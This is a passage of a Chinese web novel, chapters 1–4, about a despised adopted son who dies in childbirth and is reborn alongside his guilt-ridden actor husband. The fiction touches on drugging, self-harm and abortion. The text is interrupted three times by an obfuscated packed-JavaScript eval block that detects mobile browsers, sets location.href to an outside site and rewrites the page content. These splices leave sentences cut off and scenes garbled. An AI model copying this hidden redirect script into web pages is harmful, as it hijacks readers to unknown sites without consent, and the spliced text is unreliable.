《带球上位后病美人摆烂了》 1. 第 1 章 这真是再糟糕不过的一生了—— 刚出生就被弃置在福利院门口。 体弱多病磕磕绊绊长到六岁,宁家人找到他时,他还以为自己是回家了。 然而“回家”不过三个月,他就被告知这一切都是假的,宁家不是他的家,真少爷被找回来了,而他……是个处心积虑攀附豪门的假少爷。 假少爷生性卑劣且脸皮厚,在真少爷回家后,还是继续恬不知耻地赖在宁家——一个六七岁的孩子,到底是他自己嫌贫爱富、死活不愿意回福利院,还是宁家人为了名声根本不让他走,外人才不管那么多。 旁人眼里,假少爷就这么硬贴着宁家,死皮赖脸了十几年,然后靠下药,爬上了贺家六公子的床。 贺家和宁家祖辈有婚约,据说两家有意让贺六公子和宁家的小少爷订婚,那宁小少爷就是和假少爷相对的真少爷。 假少爷这一爬床,两家原定的婚约安排自然是不作数了。 然而这还没完——假少爷一个男人,居然怀孕了! 他不仅怀了,还为了逼贺六公子跟他结婚,割腕自杀威胁,趁机将怀孕一事闹开,最终还真让他成功带球上位了。 这么一个心机叵测没脸没皮、自幼就不招人待见的假少爷,最终早早死于难产,怎么不算大快人心呢? 大快……别人的人心。 反正宁衣初这个假少爷,弥留之际走马观花,独自躺在病房里,回顾自己短暂可笑的一生,是一点都快乐不起来的。 他浑浑噩噩,一想到自己马上就要窝窝囊囊地死了,就不甘心。 凭什么…… 倏然间,感知仿佛跨过某种神秘的维度,宁衣初获悉了一本豪门小说的完整剧情。 得知自己原来只是书中的一个短命炮灰,存在的意义就是被抛弃、被猜忌、被对比、被唾弃……给身为主角的真少爷做幸福人生的垫脚石,宁衣初更想笑了。 但是……他想,如果有机会,他还是想活下去。 即便这个世界不欢迎他,他也还是想活下去。 抱着这样的残念,宁衣初彻底失去意识。 回响在耳边的那些或冷嘲热讽、或惺惺作态的声音,都听不见了。 然而,本应亘古停止的生命长河里,宁衣初恍惚落在其中,突然又睁开了眼。 像是脱水后濒死到晕厥,又在回到水中后挣扎着活过来了的一尾鱼。 鱼甩尾,在心中荡起活泛的涟漪。 宁衣初坐在深夜的卧室里,看着周遭的布置,下意识摸上了自己的心口。 隔着薄薄的胸膛,里面那颗心脏在跳动。 宁衣初的心绪尚且还有些迷茫,手却已经下意识摸索上了放在旁边的手机。 亮屏一看,时间已然回到了半年前——他早产兼难产后并发急症,抢救无用,死在了病房里的半年前。 宁衣初撩起睡衣下摆,看了看自己的腹部。 此时他怀孕刚满三个月,还没显怀,腹部看上去仍然平坦,更没有为了生产而剖腹留下的狰狞刀口…… 宁衣初眨了眨眼,放下衣摆,又看向手机屏幕上的日期。 虽然不知道这算什么机缘,但他重生了,可惜重生的这个日期,真是太不巧了。 他记得这个日子,这是他和贺适瑕领完证的第二天,是他被贺适瑕带回贺家、入住贺家的第一个晚上…… 想到贺适瑕、贺家、宁家……原书剧情,宁衣初有些不高兴。 可看着如今完好无损、拥有了重来一次机会的自己,宁衣初又实在丧不下去。 他为重生这件事感到惊奇,也懒得现在就去想会不会还和原书剧情里一样半年后就死掉,那太扫兴了。 活了那么多年,发生在他身上的好事寥寥无几,重生虽然是因为先死了一场,但总归可以视为一件好事,而且是一件独属于他的好事,他应当高兴。 宁衣初撑着地毯站起身——他刚才是坐在床边地上的——走到卧室内的饮水机前,给自己接了杯水。 他此时面色还好,但心底情绪远比表情要汹涌澎湃。 他感受到了涨潮一般的欲|望,是关于人生的、关于一切的念想,太过宽泛以至于虚浮在心间,不上不下的说不清楚,只有感觉是真实的。 这种不得章法的情绪翻涌着,刺激着他要做点什么释放出来,让宁衣初有些不知道该如何应对。 所以只好喝点水压压惊,想借此平复心情,把那些情绪咽回肚子里安放好,从而能腾出脑子,平静审慎地考虑下接下来应该怎么办。 刚喝了半杯水,卧室房门突然被人急匆匆从外面打开了。 宁衣初下意识看向门口,呼吸急促的贺适瑕站在那里。 看到宁衣初本人之后,贺适瑕怔着,倒是不急了,只是直直看着宁衣初,好半晌没说话。 宁衣初轻轻眨了下眼睛。 作为一个刚重生回来、情绪都还没平复的人,宁衣初敏锐地意识到……贺适瑕可能也重生了。 因为,上辈子是没有现在这一遭的。 贺适瑕在贺家老宅这卧室很大,更像个面积不小的套房,进了门后先是小客厅,然后还有三扇门,分别是卧房、书房和卫生间的门。 两人虽然领了证,但这段婚姻来得滑稽,也就并没有睡到一起。宁衣初住进贺家后,贺适瑕把卧房让给了他,自己则睡到了书房里。 上辈子的今晚,贺适瑕没有莫名其妙这么着急、门也不敲地突然来他这边。 宁衣初甚至从他慌张的目光里,看到了某种几乎是“失而复得”的喜意。 宁衣初微微垂眸,看着手中杯子里剩下的半杯水,觉得现在这场面有点滑稽。 原来不止他一个人重生了吗? 果然,独一无二的东西,向来不会落在他身上。 那贺适瑕也知道原书剧情了吗?得知他贺适瑕也不过是个给主角攻受的人生垫脚、最终英年早逝的角色,他有什么想法? 宁衣初垂眸走神的几秒里,贺适瑕走了进来。 “我……书房没地方躺,我也睡在卧室……行吗?”贺适瑕差点舌头打结。 知道了自己并非唯一一个重生的,宁衣初刚才那些汹涌的情绪好像一下子就泄气了,他兴致缺缺地放下水杯,走到落地窗前,直接在地毯上坐了下来。 靠在落地窗上,将脸颊贴在冰凉的玻璃上,宁衣初看着外面的夜色,没有作声,好像贺适瑕这个人并不存在。 贺适瑕没得到回答,目光追逐着宁衣初的行动,见他坐在地上不动了,迟疑片刻后,贺适瑕还是继续靠近、走了过去。 在宁衣初面前蹲下来,贺适瑕放轻了声音:“是我这提议太冒犯了,你不愿意直接驳回就好……别坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695973|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在地上了,回床上睡觉吧,时间不早了。我先回书房去了,你可以把卧室房门反锁好……刚才那样不敲门,直接闯进来的行为,不会有下次了,很抱歉。” 宁衣初静静地看向他。 他左眼眼尾有一颗红痣,特别小,又贴着眼尾,稍微离远点就看不清了。离近了看,却又好像有血泪即将沁出来,让人不敢多看,和他的眼睛一样。 宁衣初的眼睛很漂亮,眼珠格外黑,看人的时候好像能反射出对方一切的想法,让人莫名不敢跟他对视太久,看久了好像自己会失去说话的底气。 然而漆黑如墨的眼睛把主人自己的情绪遮得严严实实,透露不出来一星半点。 正如现在,贺适瑕看着宁衣初脸色苍白、眉眼却十分浓墨重彩的漂亮面容,看着他的眼睛,感觉自己当下的所思所想好像无处遁形,而宁衣初在想什么,贺适瑕不确定。 他轻咳了声,又问:“还是今天刚住进来,还不习惯,会睡不着吗?” 宁衣初还是没回答,只眼睛一眨不眨地看着他。 无端的,贺适瑕觉得自己掌心开始冒汗了,他也不知道自己在紧张什么,仓促地移开目光,不敢再和宁衣初对视。 “不想跟我说话吗?也很正常……那我先不打扰你休……”贺适瑕说着话,作势要站起身离开。 然而人刚起一点,话也没说完,贺适瑕就被突然朝他扑过来的宁衣初撞了满怀。 贺适瑕下意识搂住了宁衣初,身形不稳地随着惯性摔倒在地毯上,然后宁衣初的唇贴到了贺适瑕颈侧。 贺适瑕微微一怔,下一刻就感觉到颈侧一疼,是宁衣初的牙齿咬了上去。 宁衣初也不知道自己这是在做什么,但他满心躁郁无处发泄,越看贺适瑕越觉得来气。 他咬紧牙关,很快尝到了血的味道。 并没有吸血鬼喜好的宁衣初这才回过神,松开了贺适瑕的脖颈,偏头将血沫吐了出来。 贺适瑕颈侧有新鲜的牙印,渗出的血顺着滴流,落在他睡衣的衣襟上,刺眼得很。 咬伤自然是疼的,但贺适瑕没去管。 他抬起手,摸了摸还半趴在他身上的宁衣初的头发:“抱歉……” 宁衣初也抬手,随意地用袖口擦了擦唇上残留的血。 然后他抬眸,用波澜不惊的语气,对贺适瑕说了重生回来后的第一句话:“我好像没告诉过你,跟你领结婚证的时候,我当时在想,要是下一秒你就死掉就好了。” 贺适瑕指间一顿,然后他继续摸了摸宁衣初柔软的发丝:“嗯,毕竟我们没签婚前协议,我也没有拟定遗嘱,领证后丧偶,你就可以拿到我的遗产了。” 宁衣初轻笑起来:“对啊,不过后来我不那么想了。” “后来”这个用词,好像时间已经距离他们领完证很久了似的,然而按当下的时间,他们才领证不过第二天。 贺适瑕却没顾及到这些微的异常,只是顺着宁衣初的话回答:“因为贺家人太多,你怕麻烦?” “不。”宁衣初回道,“我是觉得那样的想法太小家子气了。” 他看着贺适瑕,唇角一扬:“反正都是做梦,那为什么不梦得大器一点,只死你一个也太少了,当然是宁家和贺家的人都死掉才好,按着遗产继承法的顺序死,最后留我一个拿到两家所有的财产,想想就觉得很美好。” 2. 第 2 章 宁衣初的宏图大志,让贺适瑕也笑起来:“是挺好的。不过,如果财产都落到你手里,宁家和贺家的人继续一穷二白地过完下半辈子,你看着他们……我们潦倒难堪,相比我们这群人去死,会不会觉得更解气?” 宁衣初拉下脸:“你在反讽我吗?” “不是。”贺适瑕没忍住,又摸了摸宁衣初的脸。 他温和又坚定地说:“这是我们欠你的,你想要什么都可以……如果这就是你想要的,那给我一个弥补的机会,让我帮你实现心愿,好不好?” 宁衣初漠然地看着他:“贺适瑕,你是觉得反正就算我察觉到了不对劲,也不能拿你怎么样,所以都不遮掩一下吗?” 贺适瑕怔了怔:“阿宁……” 宁衣初拂开脸上的手,从他身上爬起来,又懒得起身走动,索性就在旁边坐下。 身上一轻,贺适瑕却只觉得遗憾,不想宁衣初离开。他克制着想要把宁衣初拉回怀里的冲动,也撑着地毯坐起身。 宁衣初垂下眸子,拨弄着衣袖上沾染的血迹,漫不经心地提醒贺适瑕:“你忘了吗,今天你把我带回贺家后,刚警告过我‘你想要的已经得到了,以后还想要什么就直接说,别寻死觅活地折腾’……” 贺适瑕的心脏一停。 宁衣初声线平平:“现在又是这么个作派……态度变化这么大,你不担心我起疑吗?还是觉得就算起疑,我也只能欢欢喜喜接受你的‘弥补’?” 贺适瑕伸出手,却不知道能落在哪里,只能微颤着悬在空中:“阿宁,我、我是……如果我说,我是几年后重生回来的……你信吗?” 宁衣初觉得贺适瑕小心翼翼的语气挺好玩的,他忍不住笑起来。 贺适瑕以为宁衣初这是不信,所以才嗤笑。 但出乎意料的是,宁衣初接着对他点了下头,轻飘飘地说:“信啊。” 贺适瑕怔住,突然想起来了刚才宁衣初那么突然地说起想他、想宁家和贺家的人都去死…… 前世这个时候的宁衣初,是还不会这么“真诚”袒露出心声的。 “我还知道你是死在我墓前的。”宁衣初略微歪头,看着面前的贺适瑕。 像是想起了什么特别有意思的事情似的,他在贺适瑕震颤的瞳孔下,饶有兴致地说下去。 “我死了之后,你突然意识到‘哦,原来我喜欢他’,然后想帮我报复从前对我不好的那些人,结果招惹众怒,被宁则书的暗恋者跟踪,趁你给我扫墓的时候把你捅死了,临死前你还想摸一下我的遗照,真让人感动……那么喜欢我啊,那为什么我生前从来没感觉到过啊?” 面前的宁衣初语气轻松,甚至随着话带上了笑意,贺适瑕心下颤巍巍的百感交集。 意识到宁衣初也有前世的记忆,“失而复得”的情绪更加浓重,让贺适瑕几乎想要不管不顾上前把宁衣初揉进骨血里。 但宁衣初此时的神态,那么轻松,那么拒人于千里之外,警告着贺适瑕要认清自己的身份,给他躁动的心脏裹上厚实的冰雪,让他不敢妄动。 他没有资格妄动。 宁衣初伸出手,摸上贺适瑕脖颈上的咬痕,指尖轻飘飘落在皮肤上,让贺适瑕颤抖了下。 宁衣初刚才虽然咬得很重,但刚尝到血腥味就停了,所以其实伤得也没那么吓人,此时贺适瑕脖颈上的伤口已经没往外渗血了。 纤长的手指轻动,顺着血迹淌过留下的红色纹路,宁衣初摸上了贺适瑕的衣襟。 “重生回来,第一件事就是想跟我睡同个房间……”宁衣初乐不可支,“你想做什么?” 贺适瑕好像听到了自己血管暴动的声响,他克制着回答:“没有……我的确没想到你也回来了……但我没想对毫不知情的你做些什么,我只是……想离你近一点,阿宁。” 顺着衣襟布料的走向,宁衣初拨开了贺适瑕睡衣的第一颗扣子。 那动作很暧昧,可他眼瞳如墨,目光清凌凌地看着贺适瑕,唯独能读出来的情绪只有嘲讽。 贺适瑕喉间轻滚,下意识想说点别的:“上辈子你……去世之后,是魂魄一直还在吗,所以才能看到那之后我做了什么?” 宁衣初指尖停下,他眨了眨眼。 所以,贺适瑕虽然也重生了,但他并不知道原书剧情的存在吗? 这件事的确是他独享的吗? 这个认知,让宁衣初的情绪再度高涨起来。 他突然扑到贺适瑕身上,又一次咬上了贺适瑕的脖颈。 贺适瑕抬起头,搂住宁衣初纤细的腰身,任由他咬。 直到察觉到宁衣初在扯他的衣服,贺适瑕抿了抿唇,艰难地握住了宁衣初的手腕。 宁衣初左手手腕上有道疤,按这辈子的时间来算,刚愈合不太久,摸着疤痕很明显,贺适瑕握到了,惊心之下,差点失力抓不紧宁衣初的手。 他抿了抿唇,稳住心神后轻声开口,像是陈述,又像是提醒彼此:“阿宁,你不喜欢我……你恨我。” 宁衣初松了牙关,抬脸笑起来,黑色的眼眸和眼尾的红色小痣显得流光溢彩:“你不想做吗?我还以为你是特意过来,想给我补一个‘洞房花烛’的呢。” 贺适瑕有些狼狈地避开他的目光:“不论你信不信,但我真的……” “不论我信不信,我现在都很有兴致。”宁衣初跃跃欲试,“还是你不行?没有像第一次那样被下药,你就起不来?那你滚,我去找贺如林,反正他想勾搭我很久了……” 贺适瑕把想要起身的宁衣初按回怀里。 “阿宁……”贺适瑕叹了声,“你怀孕了。” 宁衣初蹙眉,他终于给自己溢满的情绪找到发泄的渠道,并不想改变主意。 “那你小心点。”宁衣初无所谓地说,“或者你莽撞点,直接把这个孩子弄掉,正好省事。” 贺适瑕垂眸,他看着宁衣初满不在乎的眉眼,感到密不透风的难过和歉疚。 “我和你一样,刚重生回来,心境很震荡,都有满满当当的情绪想要发泄,你想通过做那种事排解宣泄,可以理解。”贺适瑕温声说,他似乎妄图通过和缓的语气来安抚宁衣初,也提醒他自己不要乱来,“可是阿宁……和憎恨的人上床,我怕你醒了之后后悔。” 贺适瑕的话显得很凝重诚恳,搭配上他当下的生理状态,宁衣初觉得还挺招笑。 他屈膝碾了碾贺适瑕底下,嘲讽道:“善解人意得这么高高在上啊……那你兴奋个什么劲儿?妨碍着我了。” 贺适瑕眉头紧锁,没忍住从喉咙里发出闷重的气声,既像是吃痛,又像是吃到了刺激神经的违禁药品。 “……因为我也想要你,我承认我也想。”贺适瑕闭了闭眼。 宁衣初却被扫兴得没了兴致,他故意压着贺适瑕脖颈上的伤口,借力起身:“算了……” 然后又被贺适瑕压着后腰按了回去。 宁衣初蹙眉,又来了火气:“你有病能不能去死?” “还太早了,到时间了我会去的。”贺适瑕这话听起来,显得他这人也没正常到哪里去。 宁衣初冷眼看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他没有直接说不信,还照顾他到病好、问他想要什么补偿。 倒是一样的高高在上。 回想起上辈子贺适瑕的嘴脸,再看现在身上的这个人,宁衣初只觉得他面目可憎,什么兴致都没有了。 “滚开。”宁衣初用力推开了贺适瑕。 他顾不上穿好几乎要被褪尽的睡衣,侧身趴到床边干呕起来。 贺适瑕怔了怔,连忙俯身过去,轻轻拍宁衣初的背。 “别碰我!”宁衣初头也不抬,只反手推他。 贺适瑕有些拘谨地收回手:“……抱歉。” 贺适瑕下了床,倒了一杯水端到床边,想要递给宁衣初:“阿宁……” 宁衣初没吐出来什么,但干呕之下,他的脸色更加苍白起来。 接了水杯,宁衣初没喝,直接连着杯子一起往贺适瑕脸上砸:“滚——” 贺适瑕没躲,眉骨被杯沿砸到,脸上和身上都落了不少水渍,脖颈上刚才流下的血痕倒是被泼淡了。 他接住滚落的杯子,起身去换了一个,重新给宁衣初倒了一杯温水。 宁衣初已经不想干呕了,他翻身靠在床头枕上,冷眼看着贺适瑕。 他接了贺适瑕这次递来的水,慢条斯理喝了几口,然后低眸看着自己平坦的腹部,语气平静不少:“我们离婚吧,我会去把孩子打掉,你用钱补偿我就够了。” 3. 第 3 章 听到宁衣初突然提起离婚,贺适瑕沉默了好一阵。 直到宁衣初等得不耐烦了,把杯子里剩下的水泼到了他脸上,他才被唤回神似的,若无其事擦了把脸,然后接过杯子,点点头说:“好,你陪我参加完节目,我们就去离婚。” 宁衣初嗤笑了声。 贺适瑕是个名声大噪的演员,入行十年,手握值得一提的作品和奖杯无数,一直以来风评都很好,直到上个月被曝出婚讯——婚讯有点突然,但对贺适瑕这个定位的演员来说,也不是影响事业的事。 偏偏还被传出贺适瑕是要和一夜情对象奉子成婚,这对他的名声就很不好了。 对此,贺适瑕选择了承认婚讯,但否认仅是和一夜情对象结婚,还难得接下了一档综艺节目,表示会带结婚对象上节目。 上辈子的宁衣初是乐意如此安排的,他厌恶被当作见不得人的存在隐瞒起来。 而且,即便和贺适瑕的婚姻原本也非他所愿,但既然趋利避害选择了这条路,宁衣初就想借势多给自己谋好处。 结果么……弄巧成拙,画蛇添足,适得其反,一切事与愿违的词都可以用在他参加节目的结果上……也可以用在他上辈子不满二十三年的人生上。 眼下,宁衣初一边慢条斯理地穿好睡衣,一边看着默不作声的贺适瑕,嘲讽问:“怎么,上辈子看我当小丑还没看够,这辈子想再看一轮?” 贺适瑕微微抿唇:“……从前是我亏欠了你。” 宁衣初冷眼看着他。 其实,宁衣初在上辈子有过委屈,但并没有觉得贺适瑕亏欠了他——虽然愤世嫉俗的时候,他的确巴不得贺适瑕也和其他讨厌的人一样全都去死,但冷静时,他的确是没恨过贺适瑕的。 那时候贺适瑕在他眼里,是同样被下药的受害者,虽然和其他人一样把他冤枉成了始作俑者,但从情势来看也不怪他会误会。 宁衣初自己上辈子直到死,都没有弄清楚那次酒店意外的真相。 在产生误会之前,他跟贺适瑕虽然没打过几次照面,但偶尔碰到了,贺适瑕也从来没有像其他人那样默认他品行不佳、取笑嘲讽,态度挺温和的。 在误会了的前提下,贺适瑕还能维持着表面的和气,想要补偿他……不论真情还是假意,和其他人的冷嘲热讽比起来,宁衣初当初真的觉得,还愿意陪着他做戏的贺适瑕已经是个挺好的人了。 虽然结婚这件事上,贺适瑕对他也没什么好脸色,和其他人一样觉得他在以死相逼,但上辈子的宁衣初冷静时,仍然觉得这很合理。 毕竟他的确因为怀孕这件事,难以接受到酗酒,又在酒后失控割腕,然后给贺适瑕打了求救电话…… 比起“一时糊涂割腕后感到后悔,所以想要打120自救,然而酒喝太多加上失血,头昏眼花没按到完整数字,误触了贺适瑕之前往他手机里设置的紧急联络号码‘12’,结果打给了贺适瑕本人”这个真相来看,的确更像是“蓄意割腕后打电话胁迫贺适瑕”。 宁衣初连他没有给贺适瑕下药这件事都自证不了,割腕自杀这件事上的主观想法自然更难解释清楚。 如此情况下,贺适瑕不喜欢他、被迫因为责任心而跟他结婚,这样的一段婚姻,凭什么要求贺适瑕这个同为受害者的人,对他客气、袒护偏爱他呢? 所以,上辈子宁衣初阴暗情绪发作,在心里诅咒宁家和贺家人、包括贺适瑕全都去死的时候,还会在心底抱有一点抱歉,觉得是自己因为自身的无能而无理迁怒。 可是,那样条分缕析讲道理的宁衣初已经死过一次了。 如今的宁衣初带着满腔不平意,只比上辈子更加厌世偏激,他不再愿意想那么多。 凭什么同一件事,所有人都觉得贺适瑕是个纯粹的受害者,他宁衣初分明吃了更多的苦头,却要被冤枉成加害者、谁都能对他指责嘲讽? 为什么要讲道理? 为什么要怪自己不招人待见? 错的当然是别人,是这个世界。 他过得不开心,那就应该有人为此担责。 不愿意担责的宁家和贺家人得担,愿意担责的贺适瑕当然更活该担。 尤其是……贺适瑕居然好意思说喜欢他? 多讽刺。 “你上辈子在节目上过得不开心……”贺适瑕轻声说,“这辈子再去一次,把憋在心里的火都撒出来,不好吗?” 宁衣初冷笑:“我过得不好怪谁?不正是托了贺影帝的福吗,还有你那个前准未婚夫。” 贺适瑕顿了顿,只争辩了最后一句:“就算没有跟你的事,我也不会和宁则书订婚,所谓两家的婚约,原本也只是说两家后辈,从来没有指定过人,是我爸妈和他爸妈有意,但我早就明确拒绝过了。阿宁,你不能只听信你养父母一厢情愿的说法,就给我安个‘前准未婚夫’……” 宁衣初无所谓道:“是吗,那是我抢错人了,早知道没这回事,就不爬你的床了。” 听到宁衣初说起这件事,贺适瑕只觉得心脏像是在荆棘丛里滚了一遭。 “对不起……”贺适瑕走到床边,慢慢蹲下来,抬头看着坐在床上的宁衣初。 他伸出手,想要去握宁衣初放在身侧的手,但被宁衣初抽手躲开了。 贺适瑕指尖一颤:“对不起……我不该冤枉你,不该不信你……” 宁衣初嘲讽地看着他:“是吗,你弄清楚真相了?” 贺适瑕想要挽救:“这辈子,这件事还没过去太久,才三个月,我这次会查清楚真相……” “哦,所以你还是不知道真相。”宁衣初点了点头,“上辈子你也不知道真相,但你愿意相信就是我处心积虑给你下药。可是你在我死后突然情圣意识觉醒,发现原来你喜欢我,于是你就愿意相信真的不是我做的了。” “按你如今对我的态度,哪怕真是我做的,只要我咬死不承认,你就能查出一个确实和我没关系的‘真相’来,是吧?是冤枉我还是偏袒我,不过都是看你的主观喜好罢了,有什么区别?” 只可惜手里已经没有水杯了,不然宁衣初还想再砸贺适瑕一次。 贺适瑕垂下眼,不敢再跟宁衣初那纯黑得剔透的眼睛对视。 “……你那个药盒,我找过检测机构检验分析过,当时存放在里面的药,确实只是维生素和葡萄糖……但药盒里还残留有其他药的粉末。”贺适瑕轻声说。 宁衣初微微一怔。 贺适瑕:“其实细想起来,药盒里会残留含量那么高的催|情|药粉末,本身就是很奇怪的。就算是你做的,就算你真的把催|情|药和其他药放到了一起保存,也不至于不小心到在药盒里留下那么明显的粉末。” “而且,那晚之后,我趁着你还病着没醒,让医院抽了我们俩的血做了检查,根据残留的药物成分来看,我们俩吃的应该是片类药——那种成分目前被查到过的药都是片类、易溶于水的那种,因为药物本身特性,总之并不适合做粉末类药物。” “片类药的话就更难掉那么多粉末在药盒里了,药性那么强总不至于是一捏就掉末的劣质药。也就是说,你药盒里的那部分药粉,更像是人为磨进去的。” 宁衣初嗤笑了声:“说不准是我怕药片溶水太慢,提前磨成了粉末方便下药呢,粉末质地的东西,拿出来下药的时候太紧张,手一抖不小心残留在了药盒里,不是很正常吗?你上辈子应该也是这样猜测的,所以即便觉得有不对劲,也还是没吭声是吧?” “不。”贺适瑕抱歉道,“我那时候并没有深想这么多。” 宁衣初漠然地看着他,听他还能编出什么花来。 贺适瑕轻声说:“我拿到检测机构的报告后,就没再深想这件事了。是你不在了之后,我回忆我们之间的桩桩件件,才突然意识到的。” 宁衣初一针见血地指出:“不深想,是因为你当时凭着表面证据,已经把罪按到了我头上。” 贺适瑕垂下眼:“是……我那时还不够了解你,没彻查清楚,得知药盒确实有问题后,就轻信了宁家人对你的品行点评,冤枉了你,不听你否认、不跟你交流疑点,甚至自以为不深究是给你留面子……” “所以你恨我,理所当然。但可不可以,不要把我当成你最恨的人?” 宁衣初笑了声,歪了下头:“因为你好歹还是查了一下才冤枉我的,其他人是查都没查,就认定是我了?” 贺适瑕:“对不起……” 宁衣初垂下眼眸。 虽然知道原书剧情了,但他其实还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695975|188957||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道和贺适瑕发生意外那晚的真相。 因为原书剧情里面没有提及。 他只知道,他所在的这个世界,是以“真假少爷”戏码开局的一本豪门狗血耽美文,真少爷宁则书是主角,他这个假少爷宁衣初是第一个小阶段故事里的反派。 真少爷宁则书年幼时被恶人偷走,宁家苦寻多年,在偏远的福利院里找到了年纪相同的假少爷宁衣初,因为宁衣初的“误导”,宁家把他误认为亲生儿子带回了宁家。 然而没过多久,宁家就找回了真少爷,假少爷的处境一下子尴尬起来。 他被人说是冒认了宁家小少爷的身份、攀附豪门,耽误了宁家寻找真少爷,害真少爷流落在外多吃了些苦头,得亏宁家不计较,还是把他当养子留在了宁家,真少爷也善良,把他当亲弟弟接纳。 然而假少爷恬不知耻,得知宁家打算等他毕业后就不再供养他,他便找到机会爬上了贺家公子的床,而这个贺家公子是周遭公认将要和真少爷订婚的人。 假少爷这一爬床,真少爷和贺家公子的婚约自然没了可能,而假少爷还在作妖,他身为一个男人居然怀孕了,而且不知道藏着掖着居然寻死觅活,把事情宣扬开来,逼着贺家公子不得不跟他结婚。 好在“恶有恶报”,带球上位的假少爷最终自食恶果,死于难产。 也“善有善报”,身为主角的真少爷在这个过程中收到了无数的心疼,和周遭人以心疼之名给到的各种补偿,还结识了好几个对他有好感的配角攻。 假少爷死后,原本“好人阵营”的贺家公子贺适瑕黑化成了下个阶段的反派,直到被真少爷的追求者谋杀,剩下假少爷和贺适瑕的孩子还存活于世。 兜兜转转下,孩子居然由真少爷抚养了,并且在抚养过程中,真少爷结识了整本小说的主角攻,也是假少爷的亲舅舅,继而也知道了原来假少爷的亲生父母也是出身豪门大家。 而假少爷生前“抢夺”真少爷的资源,真少爷却不计前嫌为他抚养孩子的行为,让假少爷的亲生父母也都觉得亏欠了他。 于是真少爷获得了自己的亲生父母、假少爷的亲生父母两边的亲情和金钱权势供给,获得了假少爷的亲舅舅的爱情,早就死了的假少爷这才彻底“功成身退”…… 不过,原书剧情长达一千多万字,真少爷经历了数不胜数的狗血事件,开局的真假少爷剧情在整本书里只占挺少的一点,甚至这部分里的很多事情都是在假少爷去世之后继续发展的。 所以,与其说他宁衣初是反派,不如说更算是个不值一提的炮灰工具人。 而即便原书流水账似的写了上千万字,他这个炮灰反派也没分得多少描写,所有焦点都是围绕真少爷的,他这个假少爷只在真少爷需要被可怜、被夸奖、被众星捧月时,作为对照组被拉出来遛一遛。 其他时候他都好像不存在一样,他做事也不需要逻辑,一句“想和真少爷作对”就足以总结陈词。 至于一个刚出生就被丢弃在福利院门口、六岁时被宁家找到的孩子,是怎么做到误导宁家人从而攀附豪门的,没人在意这里面的逻辑。 他是从哪里弄来催|情|的药,还那么完美作案,在人来人往的宴会上精准害到贺适瑕,并且第二天早上才正好被人在酒店房间捉奸在床的,也没人追究事情的来龙去脉。 原书剧情里也没有写,反正想要给真少爷的剧情给到了就行,其他的合不合理都不要紧。 就这么走了上千万字剧情,可能是实在想不出来新的反派了,原书剧情开始让真少爷身边更多的亲友黑化,然后原本很多不合理的剧情就开始彻底打结、互相矛盾,接着原书就断崖式烂尾了。 这个原书烂尾、剧情跳跃的小说建构起来的世界,运转间每个人都已经有自己的自由意志和一天二十四小时,那里面有原书没能写到的诸多来龙去脉。 正如当下,宁衣初第一次知道,原来贺适瑕在酒店意外之后,有严谨地把药盒送检。 他突然觉得很疲惫:“那你去查吧,查之前先帮我挑个靠谱点的医生,在跟你一起上节目找人泻火之前,我要把孩子打掉。” 贺适瑕没有迟疑,点了点头:“好……你再休息一天,后天我陪你去医院做检查,安排手术时间,好吗?” 4. 第 4 章 宁衣初点了下头,然后背对着贺适瑕的方向躺下,拉过被子打算睡了。 过了会儿,他听到贺适瑕小心翼翼站起身,帮他关掉了屋里的灯,打算走出去的动静。 宁衣初闭着眼睛,突然说:“我还以为你会想要挽留一下孩子。比方说,‘这辈子我会好好照顾你的孕期,意外早产进而难产的事不会再发生’之类的。” 贺适瑕站在门边,正准备拉上门的动作愣了愣。 “在明知道你有危险的情况下,还劝你留下孩子吗?阿宁,我在你眼里原来是会做出这种事的人吗……”贺适瑕轻声回答。 “不论你信不信,其实最开始我就想让你放弃这个孩子,抛开男性怀孕这件事的罕见程度不提,怀孕生子本来就是很危险的事,何况你还体质不好。” 贺适瑕说着,有些苦涩地抿了抿唇角:“但上辈子我没说,因为我以为你是真的很想要这个孩子,有你割腕自杀这件事在前,我怕说让你打掉孩子,你会多想。而且,没有经历过,毕竟是纸上谈兵,我还是低估了这件事的危险程度。” “上辈子……你不在了之后,我独自养了孩子三年,这辈子没有他了,我确实有些不舍,但他已经用你的命活过一辈子了。” 贺适瑕看着背对着他躺在床上的身影,目光柔和下来:“如果可以,我想用我的命换你上辈子好好活着,如今……虽然有了重来一次的机会,但到底是死过一次,不是好事。可想再多,上辈子也毕竟是回不去了,我只希望你这新的一生,可以完全按自己心意过活,不用顾忌任何。” 宁衣初笑了声:“好深情啊,贺情圣,要是上辈子临死前听到这些话,我一定会感动得像个小丑。” 贺适瑕有些局促地握了握门把手。 上辈子宁衣初在怀孕满九个月时,因为被撞了一下,意外摔下台阶早产,死于产后并发急症时,贺适瑕并没有在他身边。 那时贺适瑕人在剧组拍戏。 “我后来看到……你当时给我打过电话……”贺适瑕喉咙艰涩地说。 